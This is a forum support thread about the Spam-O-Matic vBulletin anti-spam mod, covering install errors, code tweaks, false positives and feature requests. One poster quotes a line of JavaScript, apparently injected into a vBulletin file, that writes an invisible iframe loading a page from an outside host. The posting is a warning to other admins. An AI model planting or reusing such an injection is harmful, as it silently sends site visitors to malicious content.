[GlowHost] Spam-O-Matic - Spam Firewall stops forum spam

[GlowHost.com]

Where can I download the original mod from?

You might try uninstalling then re-installing the latest version to see if it cures the problem for you. If not, I might have a copy of an older version if you lost the one you originally downloaded.

[Quarantine]

You might try uninstalling then re-installing the latest version to see if it cures the problem for you. If not, I might have a copy of an older version if you lost the one you originally downloaded.

I actually can't install the latest version at all - when I try to install it, that "database error" comes up and stops the installation from proceeding.

Unfortunately I don't have the older version anymore with me, if you still have it, could you link me to it please?

Thanks again!

[GlowHost.com]

What version did you have installed before?

[puertoblack2003]

Hi there,

I've previously used your 1.2.x version but stopped it for a while, and now I found out that you've released a 2.x version.

I made sure to remove that /forum/includes/xml/bitfield_glowhostspamomatic.xml file, and then tried to install it by importing product-glowhostspamomatic.xml into "Products".

I immediately see a database error message:



I noticed there's an extra semi-colon at TYPE=MyISAM, but when I checked the product-glowhostspamomatic.xml out, there's only one semi-colon, not two as this error shows.

Any ideas what could be the problem? =/



na i had the same issue with same info, but with photopost. attached is the modified file you should be ok

I changed the TYPE=MyISAM to ENGINE=MyISAM and removed ";" this happens on windows server mysql 5.5.8

[giskard]

I have had it installed on my site now for 3 days and this is the result.

Spam-O-Matic StatisticsSpam-O-Matic Statistics

388 Spammers Denied Registration

Before switching to Vbulletin a few days ago we had to remove those spammers manually, now its automatic. The IP/email check on its own has so far caught every spammer. Theres no need for any of the other features to be turned on.

Excellent job.

I am using the Stop Forum Spam option btw. We used it before and its always worked well.

[Quarantine]

na i had the same issue with same info, but with photopost. attached is the modified file you should be ok

I changed the TYPE=MyISAM to ENGINE=MyISAM and removed ";" this happens on windows server mysql 5.5.8

Thank you so much! :D That indeed worked and solved my problem! I could indeed install the plugin after using the modified file.

[giskard]

Since I posted yesterday giving the spammers stopped 1 day ago. I am going to post todays spammers stopped so you can see how serious the problem is and how good this program has been.

I must say I am very impressed.

Spam-O-Matic Statistics

539 Spammers Denied Registration

[blue6995]

Using v2.02 and Vbulletin 4.1.2 I've just noticed if I try and search in Google for the IP address I get the following message:

Google SafeSearch is ON StopForumSpam Search Web Search

Your search - 86.136.144.121 - did not match any documents.

Suggestions:
Make sure all words are spelled correctly.
Try different keywords.
Try more general keywords.

Is this something to do with this mod or is it something else entirely

Thanks

[putttee]

I have a quick question. At what point does this mod check if its a spammer. The second they click register? Can you make the check point to be after the vb email verification? The reason I'm wondering is because we do like to know that its a valid email address that is on theusers file for various reasons

[GlowHost.com]

I have a quick question. At what point does this mod check if its a spammer. The second they click register? Can you make the check point to be after the vb email verification? The reason I'm wondering is because we do like to know that its a valid email address that is on theusers file for various reasons

It is checked after they pass the vBulletin registration and human verification (if enabled) which many bots will fail with so there is no need to check those.

I don't understand what you mean by having a valid email address. If you use email validation then you users must have a valid address otherwise they won't be able to become a registered user.

[Jay A Kelley]

I was so excited to use this.. But!

I have v 4.1.1 and I just downloaded Spam O matic. When I installed it (Which seemed to go just fine) and thing TRASHED my sytem. I can no longer access the forum at all!

I quickly uninstalled the plugin but the problem remained. It looks like it changed something in my directory.

Vbulliten used to start in /forum/forum.php
but now it goes to:
/forum/bulletin-login/forum.php

and there IS NO /bulletin-login

I want to say up front I am new and most likely did something wrong, but any help would be wonderful!!

Jay

[GlowHost.com]

I don't think it would be fair to say that this mod trashed your system. It's not possible.

It sounds to me like your forum was trashed in some other way when you were manipulating the files of your forum. I can't really tell you how to fix your board as I am not sure what was done to break it. You should contact vBulletin for support to repair the forum or re-install the PHP files for the forum if that is an option for you. If uploading the PHP files doesn't fix the problem, something in your database settings needs to be updated.

[It's Damn Real!]

I get the same error as the guy above me.

Contents of upload folder were uploaded to root and the XML file I downloaded was installed, but as soon as the plug in is enabled anyone who posts gets the following error:

Warning: require_once(includes/functions_ghsom.php) [function.require-once]: failed to open stream: No such file or directory in [path]/includes/functions_newpost.php(443) : eval()'d code on line 5

Fatal error: require_once() [function.require]: Failed opening required 'includes/functions_ghsom.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in/home/blueshir/public_html/includes/functions_newpost.php(443) : eval()'d code on line 5'

Edit: Scratch that — figured it out. Just needed to add the downloaded content to the existing folders in Public_HTML, not in root.

[Jay A Kelley]

I don't think it would be fair to say that this mod trashed your system. It's not possible.

It sounds to me like your forum was trashed in some other way when you were manipulating the files of your forum. I can't really tell you how to fix your board as I am not sure what was done to break it. You should contact vBulletin for support to repair the forum or re-install the PHP files for the forum if that is an option for you. If uploading the PHP files doesn't fix the problem, something in your database settings needs to be updated.

Please note I also stated I am new, and most likely did something wrong.

[OldSchoolDSL]

Any plans on porting this over, for those of us who have upgraded to XenForo?

[imported_prcast]

This would be even better if you could tag possible accounts on the profile page

[GlowHost.com]

Any plans on porting this over, for those of us who have upgraded to XenForo?

Don't know. Its possible I guess but before I spend a lot of money on a license and programming to have this done I would like to see a lot more people running xenforo.

Last I read they were in trouble with vBulletin (for reasons... I forget) So, I'd also like to make sure they don't get shut down for piracy or whatever the complaint was before spending development time on something like that.

[puertoblack2003]

Any plans on porting this over, for those of us who have upgraded to XenForo?

you can try this http://xenforo.com/community/threads/stop-forum-spam.5417/ it'll do the same as this mod...

[BirdOPrey5]

I don't think XenForo mods should be discussed on vbulletin.org. If you're happy with XenForo, great- but they have their own forums.

[Jay A Kelley]

For the record the issue with Spam O matic that cause my bullietn to go bonzo was Jfusion. That was the plug in that broke the forum. I think Spam o matic and Jfusion were not playing nice together.

Anyway it's all fixed

www.infotechacademy.net

[OldSchoolDSL]

Don't know. Its possible I guess but before I spend a lot of money on a license and programming to have this done I would like to see a lot more people running xenforo.

Last I read they were in trouble with vBulletin (for reasons... I forget) So, I'd also like to make sure they don't get shut down for piracy or whatever the complaint was before spending development time on something like that.

Thanks for replying. This is one of the few mods to which I miss and I think you do a wonderful job on this. :)

Hopefully, we'll see you there sometime. :)

[Phaedrus]

What happened to the selection in the User Profile area in the Admin CP? I have a ton of spambots that don't post, but use the forum for backlinks in the member pages and I'd like to be able to easily remove them and report them at the same time. I mean, it is clearly just as "spammy" to register just to create a backlink to a male enhancement site which has nothing to do with our forum. I wouldn't care what they put in as their home page if they contribute, but allowing backlinks for free with no writing contributions?

[Webzcas]

I have just installed this mod and this is superb. Many thanks.

However, I have a slight problem. Where it details the activity at the footer of the the forum home page, it is hyperlinking the title to this thread. My CSS is such that the link appears blank as it is set to white for the link, before being followed.

See the footer here:

www.politicsandcurrentaffairs.co.uk/Forum/forum.php

How do I remove this hyperlink?

Have I missed something?

Cheers!

[Webzcas]

Woops. Just found the setting. Sorry!

[Delex]

Hello,
just instaleld and seems to work pretty good, congrats and thanks :D How can I check all my already registered users/bot trouigh this plugin? I have 90% of registered users that are bots.

Thanks :)

[Abunch]

Just installed it after getting about 50 spammers in the past couple of weeks...I can see the flood coming. :)

Is there any way to back-check all the accounts so I don't have to do it by hand?

[It's Damn Real!]

Any way to hide the "Spam-O-Matic Statistics" from regular users? Ideally I'd like to have that information only viewable by Admins and Moderators.

[GlowHost.com]

What happened to the selection in the User Profile area in the Admin CP? I have a ton of spambots that don't post, but use the forum for backlinks in the member pages and I'd like to be able to easily remove them and report them at the same time. I mean, it is clearly just as "spammy" to register just to create a backlink to a male enhancement site which has nothing to do with our forum. I wouldn't care what they put in as their home page if they contribute, but allowing backlinks for free with no writing contributions?

This one is one of the favorite questions that people like to ask. The short answer is it will be re-introduced in a later version.

Hello,
just instaleld and seems to work pretty good, congrats and thanks :D How can I check all my already registered users/bot trouigh this plugin? I have 90% of registered users that are bots.

Thanks :)

Just installed it after getting about 50 spammers in the past couple of weeks...I can see the flood coming. :)

Is there any way to back-check all the accounts so I don't have to do it by hand?

This is a bad idea. This one has also been answered as well. The problem is the SFS database has a limit to the number of queries that you can do in a day. if you exceed it, you will get banned, possibly permanently from using their service.

While we could make something like this for smaller boards with less than 5000 members, large boards would need some really nice scripting and a cronjob to do the lookups in batches. That's a lot of code and a lot of support for a free mod. The other problem with this idea is that many boards are very old and have members that are also very old. Submitting that kind of data would likely produce a lot of invalid bans because whatever IPs were spamming say, 5 years ago are likely not doing so now and that Ip has probably been recycled to a legitimate web user.

The idea behind Spam-O-Matic (and most firewalls) is it blocks fresh known bad-guys, and over time, the bad-guys eventually fall off the list. Submitting stale data is not so nice.

So, it is not as simple as it seems at first glance, and probably will not be implemented except if someone needs it on a custom basis we might consider developing a custom version for someone. But it would be a paid mod due to the support involved.

Any way to hide the "Spam-O-Matic Statistics" from regular users? Ideally I'd like to have that information only viewable by Admins and Moderators.

No, but that is a nice idea. I guess if people really want this we can add it based on popularity of the request.

[Delex]

Thanks for the answer! I have a lot of moderation of real people. is there any "whitelist" I got 5 people in one day that had this issue.

Thanks

Alex

[morrow]

While I love this mod, after upgrading from a previous version I have the following issue. When editing a post using quickedit, I am presented with an error:

Webpage error details

User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
Timestamp: Wed, 30 Mar 2011 12:23:35 UTC


Message: Object required
Line: 11
Char: 9774
Code: 0
URI: http://www.myforum.com/vBulletin/clientscript/vbulletin_quick_edit.js?v=410

When I disable the Spamomatic, this goes away.

I will say this... The log file blew me away. I can't get over how many spammers it caught since yesterday when I installed it!

***EDIT***
I had to disable this mod totally. I noticed there have not been any new posts since I installed the mod so I figured I'd give it a shot myself. I went to create a new post in one of my forums and received this:

Fatal error: Call to undefined function clean_options_list() in /home/myforum/public_html/vBulletin/includes/class_dm_threadpost.php(1784) : eval()'d code on line 20

[Gemma]

Any way to hide the "Spam-O-Matic Statistics" from regular users? Ideally I'd like to have that information only viewable by Admins and Moderators.

In Plug-in Manager find the plugin Stats render - forumhome_complete change it so it looks like

if ($vbulletin->userinfo['usergroupid'] == 6)
{

PLUGIN CODE

}

[Coume]

First of all, I have to say that I am very impressed. In less than 15h, it already stopped 53 spammers to register.....

I do have some suggestions if I may.
1- Add a link visible for given groups to access easily the log
For instance, Admin/Moderators could click on the "Spam-O-Matic Statistics" title to access quickly the log to see if it is working properly or not (who has been banned/etc).

2- Allow to report thread to spam-O-matic.
Currently, the Spam-O-Matic option in moderation tools is only available in showthread moderation tools, whereas you have sometimes many threads that got automoderated that you could report very quickly as spam, if the Spam-O-Matic option was available from the forum view.

3- Moved deleted spam threads/posts to a SPAM forum
For instance, I only allow "soft delete" of spam messages to make sure that my moderators do not tagged as SPAM incorrect posts but that can result in several posts in a same thread or threads in forum that are deleted making the forum/thread difficult to read for admin/mod so by moving them to a dedicated spam forum, you can still go through them without cluttering the forum.

4-Manually report a user to spam-o-matic.
For instance, I have some users that only sent spams through PMs. I would like to report them to the spam databases but I cannot find a way to do that.

Thanks
Ludo

[cyclical]

My logs are showing that users cannot be checked because there is a problem connecting to stopforumspam server. Anyone know what is causing this?

[Boofo]

I don't know if this has been requested yet, but would there be a way to add an option for where to locate the stats on the forumhome? Right now it is set to:

$template_hook[forumhome_wgo_pos2]


but I changed it for my site to the following:

$template_hook[forumhome_wgo_pos4]

[puertoblack2003]

I don't know if this has been requested yet, but would there be a way to add an option for where to locate the stats on the forumhome? Right now it is set to:

$template_hook[forumhome_wgo_pos2]


but I changed it for my site to the following:

$template_hook[forumhome_wgo_pos4]


thank you sir :)

[Delphiprogrammi]

Any way to hide the "Spam-O-Matic Statistics" from regular users? Ideally I'd like to have that information only viewable by Admins and Moderators.

yes in the stats render plugin at the top write this (first line of code)

if(is_member_of($vbulletin->userinfo,5) OR is_member_of($vbulletin->userinfo,6))
{
//stats render code

at the bottom (last line)


}
that should do it

[Delphiprogrammi]

My logs are showing that users cannot be checked because there is a problem connecting to stopforumspam server. Anyone know what is causing this?


this could be because you have leaseweb ip ranges blocked you need to unblock those and then it will work

[cyclical]

this could be because you have leaseweb ip ranges blocked you need to unblock those and then it will work

Don't have any IP ranges blocked at the server level. It had been working fine for months, and about 2-3 weeks ago it started just failing.

The error messages I get are
Spam-O-Matic Tagged username - Paibiddibboda Unable to connect to StopForumSpam.com. This is probably due to some temporary problems on their website: Unable to check. User passed to vBulletin registration system per your settings at 'StopForumSpam: Query

Spam-O-Matic Tagged email - weassadogrela@myfavmailbox.info Unable to connect to StopForumSpam.com. This is probably due to some temporary problems on their website: Unable to check. User passed to vBulletin registration system per your settings at 'StopF

Spam-O-Matic Tagged ip - 46.17.96.20 Unable to connect to StopForumSpam.com. This is probably due to some temporary problems on their website: Unable to check. User passed to vBulletin registration system per your settings at 'StopForumSpam: Query Connect

Obviously the server is working, but for some reason it can't be accessed.

[GlowHost.com]

Sounds like they have firewalled you or you have firewalled them. You can ask your host to check for you or ask on stopforumspam forums to see if you are blocked.

[kaposer]

GlowHost, thanks for your efforts on making such an antispam tool. I get this message when I try to post after installing the spam-o-matic:
-----------------------
Warning: require_once(includes/functions_ghsom.php) [function.require-once]: failed to open stream: No such file or directory in [path]/includes/functions_newpost.php(443) : eval()'d code on line 5

Fatal error: require_once() [function.require]: Failed opening required 'includes/functions_ghsom.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/santifan/public_html/forums/includes/functions_newpost.php(443) : eval()'d code on line 5
------------------------
Any idea of what I'm doing wrong?

Thanks

[MISTER2]

Using 4.1.2 experiencing a problem where users promoted out of the Newbie group are having all posts go to moderation status. Even posts with no url's and no "Auto-Moderation: Bad Words" contained in the post.

The moderated threads are not being listed in the SOM log with any reason behind why they are being placed in moderation status. This is happening across multiple forums, and only affects users that were auto promoted by the SOM Newbie --> trusted user promotion system.

Once disabled, the problem seems to have gone away. However the affected users had to be merged into a new user id# because even after the SOM auto promote, and moderation was disabled...their posts alone were still going to moderation status.

I even tried manually placing these users into usergroups that are not subject to the spam filters...still no luck. :confused:

I will note...that I am still using the SOM system to deny registrations and moderate url posts. That aspect of the system works fantastic! Just seems to be a bug with the auto-promote / newbie system in SOM.

[GlowHost.com]

GlowHost, thanks for your efforts on making such an antispam tool. I get this message when I try to post after installing the spam-o-matic:
-----------------------
Warning: require_once(includes/functions_ghsom.php) [function.require-once]: failed to open stream: No such file or directory in [path]/includes/functions_newpost.php(443) : eval()'d code on line 5

Fatal error: require_once() [function.require]: Failed opening required 'includes/functions_ghsom.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/santifan/public_html/forums/includes/functions_newpost.php(443) : eval()'d code on line 5
------------------------
Any idea of what I'm doing wrong?

Thanks

Did you upload functions_ghsom.php into your includes folder?

Using 4.1.2 experiencing a problem where users promoted out of the Newbie group are having all posts go to moderation status. Even posts with no url's and no "Auto-Moderation: Bad Words" contained in the post.

The moderated threads are not being listed in the SOM log with any reason behind why they are being placed in moderation status. This is happening across multiple forums, and only affects users that were auto promoted by the SOM Newbie --> trusted user promotion system.

Once disabled, the problem seems to have gone away. However the affected users had to be merged into a new user id# because even after the SOM auto promote, and moderation was disabled...their posts alone were still going to moderation status.

I even tried manually placing these users into usergroups that are not subject to the spam filters...still no luck. :confused:

Thanks for the report. That is the first I have heard of this problem. Does anyone else have the same issue?

[morrow]

Did you upload functions_ghsom.php into your includes folder?



Thanks for the report. That is the first I have heard of this problem. Does anyone else have the same issue?

Would you kindly take a look at my post: https://vborg.vbsupport.ru/showpost.php?p=2179067&postcount=780

I'm open for all types of suggestions.

[GlowHost.com]

Would you kindly take a look at my post: https://vborg.vbsupport.ru/showpost.php?p=2179067&postcount=780

I'm open for all types of suggestions.

I am not sure what those errors mean. You might try disabling your other mods and then try again only with SOM enabled. Then re-enable them one at a time to see which one conflicts with SOM.

[420]

Does this work on VB 3.86?

[Phaedrus]

there's a 3.x version.

[420]

I saw that, however it is not supported anymore, so I was hoping we could use this one, so it would be supported.

Is that possible?

[GlowHost.com]

A. probably not. It might but its not recommended as we have not tested it and it was not built for vB3. There is an older version that works on vB3 here. https://vborg.vbsupport.ru/showthread.php?t=248470

It is not supported but then, neither is vBulletin 3 as of a few days ago.

[janvm]

Not working for me under 4.1.2
When I activate the Plugin, The Newest Posts and the AdminCP are very buggy.
Please fix that. I´ve hard problems with Spambots befor i start using your addon.
Regards

[GlowHost.com]

Not working for me under 4.1.2
When I activate the Plugin, The Newest Posts and the AdminCP are very buggy.
Please fix that. I?ve hard problems with Spambots befor i start using your addon.
Regards

I'd need a more detailed description than "very buggy" to fix anything.

[kaposer]

[QUOTE=GlowHost.com;2179750]Did you upload functions_ghsom.php into your includes folder?

Somehow, I forgot to upload that file. It's working for 10 minutes and has stopped a few spammers already. Marked as installed and MOM. Thanks for your efforts

[janvm]

After using GlowHost with V 4.1.2 the didnt show at newest Posts any new post.
And at the AdminCP on every page I can only scroll to the half of Page.

[GlowHost.com]

After using GlowHost with V 4.1.2 the didnt show at newest Posts any new post.
And at the AdminCP on every page I can only scroll to the half of Page.

I doubt its directly related to this mod. Does anyone else have this problem?

[Olli0815]

Hi,
why is only the username checked and not the combination of both - username and ip or username and email?
We got false positives on common usernames like "honey" and "einstein".
Olli

[GlowHost.com]

Hi,
why is only the username checked and not the combination of both - username and ip or username and email?
We got false positives on common usernames like "honey" and "einstein".
Olli

Those are the default settings. If you want to change the default settings that are checked, or even make it so that the options you want are always checked/unchecked and not changeable by other admins or mods, then edit your settings in the admin area for this mod.

[landstalker]

Hi, after I installed this mod, the "what's going on" section had all its stylevar options returned to the default values, ignoring the current ones. Is there anyway to avoid that?

[camoit]

OK now check this out.
I just installed the Spam-O-Matic. Now just above the main logo in the header I find A little box. 2pixel by 2 pixel. You can't see it with IE. unless you high light that area. It will show up with Fire fox. But if you have an I Pad you get an Icon that links you to a statical site in China. I will show the line of code in another post. Right now the code and information taken is being analyzed by my IT guy. The line of code will be posted later.
I'm not pointing fingers at this but I did want you to be aware that the download may have been compromised by someone.
I will upload the code later on so you can look to see if you have it also. This was installed on 4-2-11

Things that came up right after the install.

Here are the links to where the icon takes you. Click if you dare..
http://countt.51yes.com/index.asp?Id=485085618
http://www.cnzz.com/stat/website.php?Web_id=2858758

[Phaedrus]

I noticed that once the spammers figure out your board isn't a slut any more they drop off in number of attempts. When I first installed it I stopped over 500 spammers in a day well over 800 in a week, I upgraded and installed this version which restarted my counter and I've yet to reach 100...

I'm definitely going to nominate this one for MOM, it flat just does the job. Especially if they give me back my reporting options in the AdminCP. ;)

[camoit]

All right.. Here is the offending line of code that was causing the little box and all the spy ware to give red flags.


document.write("<iframe width='0' height='0' src='http://edu.wips.co.kr/pay/ins/sample/css/one.html '></iframe>");


This line was injected some how.
It's path in the root folder \clientscript\yui\connection\connection-min.js
It is the very last line of code. Please look to see if you have been injected with this. If so remove this line..
Thankyou.

[Joey805]

All right.. Here is the offending line of code that was causing the little box and all the spy ware to give red flags.


document.write("<iframe width='0' height='0' src='http://edu.wips.co.kr/pay/ins/sample/css/one.html '></iframe>");


This line was injected some how.
It's path in the root folder \clientscript\yui\connection\connection-min.js
It is the very last line of code. Please look to see if you have been injected with this. If so remove this line..
Thankyou.


What the heck!? is there a security hole in this mod?

[BirdOPrey5]

\clientscript\yui\connection\connection-min.js is a standard vBulletin file in every vBulletin installation - why do you think the problem is with this mod?

[rolfw1]

Not got that on mine, file is clean, you should look around for other possible exploits, mods etc which may have inserted the code.

[Phaedrus]

What the heck!? is there a security hole in this mod?

Not from the mod.

[cfish]

For the next version of Spam-O-Matic I'd like to be able to edit the error message that registrants see if they are prevented from registering. Currently, the message is non-specific, just saying that they are a spammer and this is resulting in many emails. I'd like to give a little more information to help them recover without resorting to email.

It would be great if the message could be edited in settings so I could say something like "try a different username..."

I realise I could edit the XML file but it's a bit of a pain reloading that just to change the message.

Thanks

[BirdOPrey5]

For the next version of Spam-O-Matic I'd like to be able to edit the error message that registrants see if they are prevented from registering. Currently, the message is non-specific, just saying that they are a spammer and this is resulting in many emails. I'd like to give a little more information to help them recover without resorting to email.

It would be great if the message could be edited in settings so I could say something like "try a different username..."

I realise I could edit the XML file but it's a bit of a pain reloading that just to change the message.

Thanks

This mod, like many, uses "phrases"- you can easily edit them via your Admin CP -> Phrase Manager. The one you're looking for I believe is called glowhostspamomatic_reject, otherwise you can "search in phrases" to find it.

[cfish]

This mod, like many, uses "phrases"- you can easily edit them via your Admin CP -> Phrase Manager. The one you're looking for I believe is called glowhostspamomatic_reject, otherwise you can "search in phrases" to find it.

Brilliant. Thank you very much.

[dr1]

I just installed this on a clean install of 4.1.3 and it messes up the footer.
Basically the footer disappears.

Is anyone else having this problem?

[wipedout]

after upgrading to 4.1.3 i get this error


Warning: require_once(includes/functions_ghsom.php) [function.require-once]: failed to open stream: No such file or directory in [path]/includes/functions_newpost.php(443) : eval()'d code on line 5

Fatal error: require_once() [function.require]: Failed opening required 'includes/functions_ghsom.php' (include_path='/home/admin/domains/iperia.be/library/') in /home/thefurryde/domains/thefurryden.net/public_html/forums/includes/functions_newpost.php(443) : eval()'d code on line 5

[camoit]

I don't know for sure how or what happened. I'm NOT a coder. I'm just letting you know what happened to me and what to look for. It might just be a coincidence. Just before I put in the mod A known spamer got in. That is why I put in the mod. They were in for only 5 minutes before I saw them and baned them. Now that I have upgraded to 4.1.3 I have reinstalled the mod but I keep a sharp eye on the file listed above to see if it changes. So far so good.

They might have used the exploit that 4.1.2 had. Here is the spamers information. Be on the look out for them.

: kmalinowska@bx8.pl
Birthday : April 13, 1961
Referrer: N/A
IP Address: 69.197.186.218

Location : Ethiopia
Year. : 3rd
Make. : WokskidaWeima
Gender : Female

[camoit]

I un installed the mod then did my upgrade. Then reinstalled it. No problems with it. But I only have 3 mods installed. I try to keep it light just for upgrade reasons.

[EDCPunk]

I just installed this last night to my recently upgraded 4.1.3 board. Everything looked fine and then a member tried to post and got this message;

Warning: require_once(includes/functions_ghsom.php) [function.require-once]: failed to open stream: No such file or directory in [path]/includes/functions_newpost.php(443) : eval()'d code on line 5

Fatal error: require_once() [function.require]: Failed opening required 'includes/functions_ghsom.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /includes/functions_newpost.php(443) : eval()'d code on line 5

I turned off this plugin and now members can post. I am new to running a board like this, so any help would be greatly appreciated.

[rolfw1]

@ EDCPunk - See this post: https://vborg.vbsupport.ru/showpost.php?p=2179750&postcount=792

[EDCPunk]

@ EDCPunk - See this post: https://vborg.vbsupport.ru/showpost.php?p=2179750&postcount=792

Awesome. Thank you for the heads up. I will try that and see if it works. :D

[EDCPunk]

OK. The .php file is in the Includes folder. Any other suggestions? Thanks.

[EDCPunk]

OK, it is fixed. The file was not in the right "includes" folder on the server. Thank you for the help with this.

[ubeaut]

Just wondering. The below lines appear at the bottom of our main forum page, the represent the entire 5 days Spam-O-Matic has been online on our updated forum.

15 Spammers Denied Registration
66 Spammy Posts Automatically Moderated

Two questions:
Prior to Glowhost we used vbStopForumSpam with results of around 250 spammers per day rejected. Why does there seem to be such a big difference with only 15 rejected/denied registration in 5 days?
The 66 Spammy Posts Automatically Moderated... Where on earth do they go when moderated? we can't find them anywhere and I have mods who are going stir crazy because they can't find then to delete.My guess was they are being automatically reported then banned but we don't know who, what, where or when they were banned.

Maybe we're missing something. All I can say is I'm getting a bit of a laugh from it as it's messing with the brains of a couple of my moderators.

Cheers - Neil :D

PS Excellent mod, I love it. Saves a heap of time and gives me great enjoyment watching mods and admins chasing their tails trying to figure out where the moderated posts have gone.

[camoit]

Look in your ACP on the first page. there you will see on the right side at the top. messages needing moderation. Just click that and you can see all of them.

[ubeaut]

Thanks for the reply camoit.

Moderating them isn't a problem, we know where moderated threads/posts reside and how to moderate them been doing it for over 12 years. The problem is that the numbers mentioned of 66 don't show anywhere and have never appeared in Moderation that any of my moderators or administrators have seen. They seem to be phantoms, untouchables, unfindables. Gone without a hint they ever existed.

Cheers - Neil :)

[ubeaut]

OK so no one seems to want to satisfactorily answer the two questions in my previous post. Let's try another.

This is part of a post I made at vBulletin.com (full post HERE (http://www.vbulletin.com/forum/showthread.php/377353-Dual-Registrations)) So far no response to that one either.

I currently have an instances where one new member (spammer from China) has been able to register his username twice within 1 minute. He then proceeded to do 3 spam posts and then went on to changed his email address in second registration.

First registration was deleted as spam and reported to Stop Forum Spam after he had posted.

The second registration was then banned by moderator.... However it did not show as banned in his profile, but did in Banned Users list, whilst the first registration does not show up in the Banned Users list at all.

Today this person appears to have registered again. Different username, same IP address different email address.

Still shouldn't have got through Spam-O-Matic his ip is 220.179.121.198 and can be found in a search at SFS. There must be a glitch somewhere to allow this to happen.

We do have Name Check disabled in Spam-O-Matic for obvious reasons, as we had in VBStopForumSpam prior. Still I would think it shouldn't let a banned IP through though.

Cheers - Neil

[Phaedrus]

There's a timeout setting. If your site cannot contact the StopForumSpam site for a certain period you either allow registration or deny it. In this case it seems that this may have been the cause of your spammer getting through with a tagged IP. I can't be certain without reading the stats, but that is the most likely culprit.

[dannefaerd]

Hey all.

We've been getting some new spammers registering - no worries, their IP/email/username doesn't appear in the database.

Now they're not posting threads/posts, but are adding user notes to their own profile with links to spam sites. (gambling, etc). These notes are getting moderated into a queue, but I cannot find an option to report them via the Spam-O-Matic links.

To date we're just banning or deleting the users which are doing this - but any help so we can assist in improving the database would be welcome.

Thanks!
Martin

[ubeaut]

There's a timeout setting. If your site cannot contact the StopForumSpam site for a certain period you either allow registration or deny it. In this case it seems that this may have been the cause of your spammer getting through with a tagged IP. I can't be certain without reading the stats, but that is the most likely culprit.

G'day Phaedrus - Thanks for the reply. Please don't get me wrong and I'm not trying to be rude, but that really does sound a bit suspect to me. :rolleyes: I'll admit it is possible if there's a timeout setting. But that's not very reassuring when one is relying on a fix that doesn't appear to work as it should.

But maybe this timeout setting is the reason why only 15 Spammers Denied Registration for an entire 5 day period when prior to that there were approx 250 per day, (that's1,250 for the same time period) or maybe the spammers have just stopped trying. Certainly haven't on my other forum where we are still running at around 250-300 per day being denied access using vbStopForumSpam and we have never had a problem with anyone ever getting back in with the same IP after banning them via SFS.

I fear there may be a serious problem or at least a better explanation than a timeout, especially with the dramatic drop on denied registrations.

Still looking for an answer to Question 2 above in the original post.

Cheers - Neil :D

[DannyITR]

I have legit users that are being denied registration using a hotmail account. How come? How can I allow them to register?

[GlowHost.com]

1) Because the orginal mod did not count correctly. This has been answered in this thread many times. SOM counts only the users who manage to get past vBulletin's built in registration form. The original mod checked the users before they tried to register on the built in vB form.

There is no reason to waste resources and connections to SFS by checking every bot that may not even get past the built-in vB validation.

2) They end up in the moderated posts as every other moderated thread would. If you are not seeing them then there is an unreported bug or you have another mod which is playing games, or your vB install is corrupt.

[Phaedrus]

G'day Phaedrus - Thanks for the reply. Please don't get me wrong and I'm not trying to be rude, but that really does sound a bit suspect to me. :rolleyes: I'll admit it is possible if there's a timeout setting. But that's not very reassuring when one is relying on a fix that doesn't appear to work as it should.

But maybe this timeout setting is the reason why only 15 Spammers Denied Registration for an entire 5 day period when prior to that there were approx 250 per day, (that's1,250 for the same time period) or maybe the spammers have just stopped trying. Certainly haven't on my other forum where we are still running at around 250-300 per day being denied access using vbStopForumSpam and we have never had a problem with anyone ever getting back in with the same IP after banning them via SFS.

I fear there may be a serious problem or at least a better explanation than a timeout, especially with the dramatic drop on denied registrations.

Still looking for an answer to Question 2 above in the original post.

Cheers - Neil :D

You can change the setting to disallow registration.

[ubeaut]

1) Because the orginal mod did not count correctly. This has been answered in this thread many times. SOM counts only the users who manage to get past vBulletin's built in registration form. The original mod checked the users before they tried to register on the built in vB form.

There is no reason to waste resources and connections to SFS by checking every bot that may not even get past the built-in vB validation.

2) They end up in the moderated posts as every other moderated thread would. If you are not seeing them then there is an unreported bug or you have another mod which is playing games, or your vB install is corrupt.

Thank you for that. Greatly appreciated and makes sense. However.....

I have banned all moderators and administrators from moderating threads/posts etc to make sure no one is sneaking in and approving, deleting anything from the Moderated thread/post section. Since that time there have been according to the notice on the forum home page 75 Spammy Posts Automatically Moderated (9 more than when I posted originally) but only 2 have gone into the Moderation section leaving 7 more mysteries that have never been seen by us and they join the rest that are lost somewhere.

I have been able to find the moderated posts in the GlowHost - Spam-O-Matic Log Viewer but haven't been able to moderate them as the bulk of them just don't show anywhere other than in that viewer and the links go to an empty Moderation box.

Also on the forum homepage the only stats from SOM are:

Spam-O-Matic StatisticsSpam-O-Matic Statistics

23 Spammers Denied Registration

75 Spammy Posts Automatically Moderated (to date we've only found around 12 of them

We were running v4.1.2 and have updated to v4.1.3 but nothing has changed. vB instalation is not corrupt.

Other mods installed and running are:
Skimlinks Plugin 2.0.7
Tab And Link Manager 4 4.2.0
vBulletin Blog 4.1.3
vBulletin CMS 4.1.3
vBSEO 3.5.2

Cheers - Neil :D

[GlowHost.com]

Does anyone else have this problem?

I can't duplicate it on our boards. I don't run any of the mods you have nor blog or CMS.

[Boofo]

I would venture to say that maybe vBSEO 3.5.2, or Skimlinks Plugin 2.0.7, are what might be causing some of it.

[DannyITR]

Guys I get email every day now from people who can't register. I'll have to uninstall if I can't figure this out. Please help.

[ubeaut]

Guys I get email every day now from people who can't register. I'll have to uninstall if I can't figure this out. Please help.

The one thing I can maybe help with a little.

Taking name recognition off may help, as there are many many people with the same username around the world and just because one is reported, doesn't tar them all with the same brush. We have something like 20 odd Robbo's registered on one of our forums alone, all with variations of the name but you can bet they nearly all tried plain old Robbo to begin with.

Hope this is of some help.

I would venture to say that maybe vBSEO 3.5.2, or Skimlinks Plugin 2.0.7, are what might be causing some of it.

Will disable everything for a few days and see what happens then slowly reintroduce them one at a time over a week or so and see what happens.

Cheers - Neil :D

[DannyITR]

Ok thanks. I took off name recognition and IP as well but this leaves only email as the way to protect the forum. Kind of silly no? I will there was a registration time check to see if it's a bot or not.

[sportsfroma2]

